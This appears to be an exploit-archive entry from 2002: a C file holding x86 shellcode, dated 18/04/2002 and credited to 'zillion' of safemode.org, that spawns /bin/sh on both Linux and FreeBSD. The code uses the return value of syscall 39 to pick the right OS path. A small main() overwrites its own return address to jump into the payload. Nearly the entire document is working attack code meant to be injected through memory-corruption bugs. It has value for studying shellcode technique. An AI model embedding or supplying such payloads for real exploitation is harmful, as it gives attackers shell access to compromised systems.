Linux and FreeBSD Multi-OS shellcode - Spawns a shell. Info on Multi-OS shellcode here.
f908d0ac122c0c91f770cc286f83c1f2923e465ea98e1a505778e013d8bd9559
/*
* This is shellcode that can be executed on both Linux and FreeBSD
* It uses te return value of syscall 39 to determine the os and will
* then point to the correct instructions.
*
* Coded by zillion (safemode.org 18/04/2002)
*
*/
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x27\xcd\x80\x85\xc0\x78\x1e\xeb\x0e\x5e"
"\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\xed"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xeb\x31\xeb\x1a\x5e"
"\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42"
"\x42\x31\xc0\xb0\x01\xcd\x80";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}